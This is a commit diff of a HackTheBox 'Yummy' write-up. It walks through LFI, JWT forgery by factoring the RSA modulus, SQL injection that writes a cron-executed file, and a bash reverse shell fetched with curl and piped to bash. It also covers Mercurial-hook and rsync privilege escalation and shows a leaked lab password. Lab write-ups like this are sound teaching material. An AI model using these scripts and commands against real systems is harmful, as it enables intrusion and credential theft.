Skip to content

Commit aaf4298

Browse files
committed
Yummy writeup update
1 parent e42abf1 commit aaf4298

2 files changed

Lines changed: 68 additions & 61 deletions

File tree

_posts/2025-02-21-htb-yummy.md

Lines changed: 68 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -2,17 +2,17 @@
22
layout: single
33
title: "HTB Yummy Writeup"
44
seo_title: "Writeup for the HackTheBox Yummy Machine"
5-
date: 2025-02-21 12:00:00 +0200
5+
date: 2025-02-22 16:01:00 +0200
66
categories: ['HackTheBox', 'Linux']
77
classes: wide
88
toc: true
99
header:
1010
teaser: "/assets/images/headers/Yummy.png"
1111
---
12-
The "Yummy" machine on HackTheBox is a hard Linux machine that starts off with a Local File Inclusion (LFI) vulnerability in order to read the locations of several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as root to move laterally to a developer account. This account can run `rsync` as root, which allows us to write a SSH key to the root user.
12+
"Yummy" is a hard Linux machine that starts off by finding a Local File Inclusion (LFI) vulnerability in order to find several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as another user to move laterally to a developer account. This account can run `rsync` as root, which allows us to copy the root user's SSH key.
1313

1414
# Reconnaissance
15-
Our initial port scan only shows the standard port 22 and 80 open.
15+
Our initial port scan only shows two standard ports open, 22 and 80.
1616

1717
```
1818
# Nmap 7.94SVN scan initiated Sun Oct 6 14:04:12 2024 as: nmap -p- -sCV -v -oN yummy.nmap 10.129.74.97
@@ -32,19 +32,19 @@ PORT STATE SERVICE VERSION
3232
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3333
```
3434

35-
The website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add the domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can book tables.
35+
Navigating to the website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add this domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can make a reservation.
3636

3737
![](../assets/images/writeups/yummy/booking.png)
3838

39-
From our dashboard, it is possible to save our reservation to a calendar file (ics).
39+
From our dashboard, it is possible to save our reservation to a calendar file (ics) via the `save iCalendar` option.
4040

4141
![](../assets/images/writeups/yummy/save-icalendar.png)
4242

43-
The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read any file the web user has access to.
43+
The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read arbitrary files as the `www-data` user.
4444

4545
![](../assets/images/writeups/yummy/LFI.png)
4646

47-
From the leaked file, we can already identify several users on the machine:
47+
From the `/etc/passwd` file, we can already identify several users on the machine.
4848

4949
```
5050
root:x:0:0:root:/root:/bin/bash
@@ -54,18 +54,18 @@ caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
5454
qa:x:1001:1001::/home/qa:/bin/bash
5555
```
5656

57-
Further enumeration reveals that the contents of the crontabs file contains some scripts.
57+
Further enumeration reveals that the contents of the `/etc/crontab` file contains some scripts.
5858

5959
```bash
6060
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
6161
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
6262
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
6363
```
6464

65-
Again we can download those files via the LFI vulnerability and check their contents.
65+
We can download those files via the LFI vulnerability and check their contents.
6666

6767
## App Backup
68-
The contents of the `app_backup.sh` script reveals the location of a zip file.
68+
The contents of the `app_backup.sh` script reveals the location of a zip file in the `/var/www` directory.
6969

7070
```bash
7171
#!/bin/bash
@@ -75,7 +75,11 @@ cd /var/www
7575
/usr/bin/zip -r backupapp.zip /opt/app
7676
```
7777

78-
The zip file is a backup of the original source code. Now we can proceed to do some code analysis and see if we can spot some additional vulnerabilities or credentials. The login method is interesting.
78+
This zip file is a backup of the original source code located in `/opt/app`. After downloading the zip and extracting it, we have the application's source code.
79+
80+
![](../assets/images/writeups/yummy/backup.png)
81+
82+
We can proceed to do some code analysis and see if we can spot additional vulnerabilities or credentials. The login method in `app.py` looks interesting.
7983

8084
```python
8185
if user:
@@ -95,62 +99,48 @@ else:
9599
return jsonify(message="Invalid email or password"), 401
96100
```
97101

98-
It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA module (n) and the encryption exponent (e). With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption.
102+
It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA modulus n and the encryption exponent e. With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption.
99103

100-
Let's have a look at how we can decode our 'customer' token and modify it to become an 'administrator'.
104+
Let's have a look at how we can decode our `customer` token and modify it to become `administrator`.
101105

102106
```python
103-
import base64, json, jwt, sympy
107+
import base64, json, jwt # pip install pyjwt
104108
from Crypto.PublicKey import RSA
105109
from cryptography.hazmat.backends import default_backend
106110
from cryptography.hazmat.primitives import serialization
111+
import sympy
107112

108-
token = '<OUR_JWT_TOKEN>'
109-
110-
def add_padding(b64_str):
111-
while len(b64_str) % 4 != 0:
112-
b64_str += '='
113-
return b64_str
114-
115-
def base64url_decode(input):
116-
input = add_padding(input)
117-
input = input.replace('-', '+').replace('_', '/')
118-
return base64.b64decode(input)
119-
120-
# extract second portion of token
121-
payload = json.loads(base64url_decode(token.split(".")[1]).decode())
113+
token='eyJhbGciOiJSUzI1N...<SNIP>'
114+
payload = json.loads(base64.b64decode(token.split(".")[1] + "===").decode())
122115

123116
# find prime factors to get the decryption exponent (d)
124-
n = int(payload["jwk"]['n'])
117+
n = int(payload["jwk"]["n"])
125118
p,q = list(sympy.factorint(n).keys())
126119
e = 65537
127120
phi_n = (p - 1) * (q - 1)
128121
d = pow(e, -1, phi_n)
129122

130-
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
131-
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
132-
private_key_bytes = key.export_key()
123+
key = RSA.construct((n, e, d, p, q))
124+
private_key = key.export_key()
133125

134-
private_key = serialization.load_pem_private_key(
135-
private_key_bytes,
136-
password=None,
137-
backend=default_backend()
126+
data = jwt.decode(
127+
token,
128+
private_key,
129+
algorithms=["RS256"],
130+
options={"verify_signature": False}
138131
)
139132

140-
public_key = private_key.public_key()
141-
142-
# decode token and insert admin role
143-
data = jwt.decode(token, public_key, algorithms=["RS256"])
133+
# insert admin role
144134
data["role"] = "administrator"
145135

146136
# encode the new data in new token
147137
new_token = jwt.encode(data, private_key, algorithm="RS256")
148138
print(new_token)
149139
```
150140

151-
If we run the above script and insert our user JWT in the token field, we now have a JWT that has the 'administrator' role. Now let's see what we can do with this. Further along in the code of `app.py` there is an SQL Injection vulnerability in the `admindashboard` endpoint.
141+
We insert our current user JWT token in our script and run it. This will then print out a new JWT that has the `administrator` role and should be able to access the admin panel. Further along in the code of `app.py` there is also an SQL Injection vulnerability in the `admindashboard` endpoint.
152142

153-
```sql
143+
```python
154144
# added option to order the reservations
155145
order_query = request.args.get('o', '')
156146

@@ -162,7 +152,18 @@ Let's perform a search query on the admin dashboard and intercept the request wi
162152

163153
![](../assets/images/writeups/yummy/SQLI.png)
164154

165-
Now we need to figure out what we can do with this. Remember we still have a couple of cron files we haven't looked at yet, one of which is the `dbmonitor.sh` script. After we download this file via the same method as before, some things stand out.
155+
By using SQLMap we can check our user privileges:
156+
157+
```bash
158+
$ sqlmap -r request --privileges
159+
160+
[15:27:11] [INFO] retrieved: 'FILE'
161+
database management system users privileges:
162+
[*] 'chef'@'localhost' [1]:
163+
privilege: FILE
164+
```
165+
166+
We have `FILE` permissions, meaning we can read and write arbitrary files. Remember we still have a couple of cron scripts we haven't looked at yet, one of which is the `dbmonitor.sh` script owned by the `mysql` user. After we download this file via the same method as before, some things stand out.
166167

167168
```bash
168169
<SNIP>
@@ -184,15 +185,17 @@ fi
184185
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
185186
```
186187

187-
If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`. Afterwards it deletes the JSON file and runs this every minute or so. The `latest_version` variable lists the contents of the scripts folder with a wildcard. First we create a reverse shell script.
188+
If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`, afterwards it deletes the JSON file. This script is ran every minute. The `latest_version` variable lists the contents of the scripts folder with a wildcard. This script will sort all scripts starting with `fixer-v` and executes the last matching script (tail). Since we can write files via the SQL injection vulnerability, we can get a reverse shell.
189+
190+
First we create a reverse shell script and run a Python web server.
188191

189192
```console
190193
$ echo "#\!/bin/bash\nbash -i >& /dev/tcp/10.10.14.102/9001 0>&1" > shell.sh
191194
$ chmod +x shell.sh
192195
$ sudo python -m http.server 80
193196
```
194197

195-
We create a small script that automates our exploit.
198+
We create a small script that automates the exploitation. It first grabs our payload, writes it to `/data/scripts/fixer-v999` and then writes an empty string to `/data/scripts/dbstatus.json` in order to execute our payload.
196199

197200
```bash
198201
ip="10.10.14.102"
@@ -209,10 +212,16 @@ write_file "curl+$ip/shell.sh+|bash" "/data/scripts/fixer-v999"
209212
write_file "" "/data/scripts/dbstatus.json"
210213
```
211214

212-
We run the above script and after a minute we should have received a connection back to our machine.
215+
We start a netcat listener on port 9001, run the above script and after a minute we should have received a connection back to our machine.
216+
217+
```bash
218+
$ nc -nvlp 9001
219+
mysql@yummy:/var/spool/cron$
220+
```
213221

214222
# User
215-
After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. Therefore we can remove the backup file and replace it with our shell script.
223+
## Mysql to www-data
224+
After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. We are able to remove the backup file and replace it with the same reverse shell script.
216225

217226
```console
218227
mysql@yummy:/var/spool/cron$ cd /data/scripts
@@ -221,7 +230,11 @@ mysql@yummy:/data/scripts$ rm app_backup.sh
221230
mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
222231
```
223232

224-
Meanwhile, we run a netcat listener to catch another shell (it might take a few tries). Now we can enter the web folders. We can find a password for another user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file.
233+
We again run a netcat listener to catch the shell (it might take a few tries).
234+
235+
## www-data to qa
236+
We can find a password for the `qa` user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file.
237+
225238
```console
226239
www-data@yummy:~$ cd /var/www/app-qatesting/.hg/store/data
227240
www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i
@@ -232,9 +245,9 @@ www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i
232245
'password': 'jPAd!XQCtn8Oc@2B',
233246
```
234247

235-
We can now SSH as the `qa` user.
248+
We can now SSH as `qa`.
236249

237-
```
250+
```bash
238251
ssh qa@yummy.htb
239252
qa@yummy:~$ cat user.txt
240253
```
@@ -249,9 +262,7 @@ User qa may run the following commands on localhost:
249262
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
250263
```
251264

252-
Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options.
253-
254-
One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command.
265+
Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options. One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command.
255266

256267
```console
257268
qa@yummy:~$ nano .hgrc
@@ -266,7 +277,7 @@ qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
266277
abort: Permission denied: '/home/qa/.hg'
267278
```
268279

269-
When running the command, we get a permission denied so we try another way. From the same Docs, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again.
280+
When running the command, we get a permission denied error so we try another way. From the same documentation, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again.
270281

271282
```console
272283
qa@yummy:~/tmp$ mkdir .hg
@@ -276,26 +287,22 @@ qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
276287
```
277288

278289
## Dev to Root
279-
We now have a shell as the `dev` user that can run `rsync` as root. We can exploit this by copying `/bin/bash` and changing the permissions so that after running the command we can run the binary as the root user.
290+
We now have a shell as the `dev` user that can run `rsync` as root. Rsync is a tool for synchronizing files and directories between location.
280291

281292
```console
282293
dev@yummy:~/app-production$ sudo -l
283-
sudo -l
284-
Matching Defaults entries for dev on localhost:
285-
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
286-
287294
User dev may run the following commands on localhost:
288295
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
289296
```
290297

291-
One quick way to read the root flag or root SSH key is using the following command:
298+
We can exploit this by copying the root user's private SSH key. One quick way to read the root flag or root SSH key is using the following command:
292299

293300
```console
294301
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/root.txt --chmod=777 /opt/app/ && cat /opt/app/root.txt
295302
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/.ssh/id_rsa --chmod=777 /opt/app/ && cat /opt/app/id_rsa
296303
```
297304

298-
The key element is the `--chmod` flag of the rsync binary. This addtional parameters changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user.
305+
The key element is the `--chmod` flag of the rsync binary. This additional parameter changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user.
299306

300307
```console
301308
$ chmod 600 id_rsa
6.75 KB
Loading

0 commit comments

Comments
 (0)